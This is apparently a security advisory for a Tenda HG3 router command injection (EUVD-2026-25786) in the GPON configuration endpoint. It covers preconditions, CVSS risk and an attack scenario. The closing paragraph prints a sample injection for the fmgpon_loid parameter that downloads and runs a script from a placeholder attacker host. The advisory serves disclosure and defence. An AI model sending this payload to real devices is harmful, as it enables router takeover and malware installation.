Tenda HG3 EUVD-2026-25786

Valid administrative credentials to the Tenda HG3 router web interface are required (CVSS PR:L indicates low-privilege authentication). The router's administrative interface must be network-accessible to the attacker, either exposed to the internet or reachable after initial network compromise. The GPON configuration function (formgponConf) must be enabled and accessible at /boaform/admin/formgponConf, which is typically the default state in devices using GPON fiber optic connections. No special network conditions, user interaction (UI:N), or non-default configurations are required beyond authentication. Limiting factors that reduce exploitation likelihood: many Tenda HG3 routers may have management interfaces restricted to local network access only by default; ISP-managed devices may use non-default credentials; and the specific GPON configuration feature may not be exposed in all deployment scenarios depending on whether fiber optic (GPON) connectivity is used versus other WAN technologies.

Real-world risk is MODERATE-HIGH with important qualifications. CVSS 7.4 indicates high confidentiality, integrity, and availability impact (VC:H/VI:H/VA:H) with network attack vector (AV:N) and low complexity (AC:L), but critically requires low-privilege authentication (PR:L), meaning attackers need valid router credentials. CVSS 4.0 threat metric E:P confirms proof-of-concept exploitation exists. Public exploit availability substantially increases risk to organizations with weak router passwords or credential reuse. However, exploitation is NOT confirmed in CISA KEV, suggesting attacks remain opportunistic rather than widespread campaigns. EPSS data not provided for assessment. Primary risk scenarios: (1) credential stuffing attacks against exposed management interfaces, (2) lateral movement after initial network compromise, (3) supply chain attacks if default credentials unchanged. The requirement for authentication significantly reduces attack surface compared to unauthenticated command injection, but publicly available exploit code enables even low-skill attackers who obtain credentials through phishing, brute force, or leaked default passwords.

An attacker performs credential stuffing attacks against internet-exposed Tenda HG3 router administrative interfaces using lists of default or commonly reused passwords. Upon successful authentication with low-privilege credentials (PR:L), the attacker accesses the GPON configuration page at /boaform/admin/formgponConf and injects shell metacharacters and commands into the fmgpon_loid parameter (e.g., '; wget http://attacker.com/malware.sh -O /tmp/m && sh /tmp/m;'). The vulnerable formgponConf function executes the injected command with router system privileges, allowing the attacker to download and execute malicious scripts, establish persistent backdoors, exfiltrate router configuration including ISP credentials, or pivot to attack other devices on the local network. Public exploit code detailed at https://www.notion.so/Tenda-HG3-3250c75766a880c7b50fde0466557c5f provides attack automation.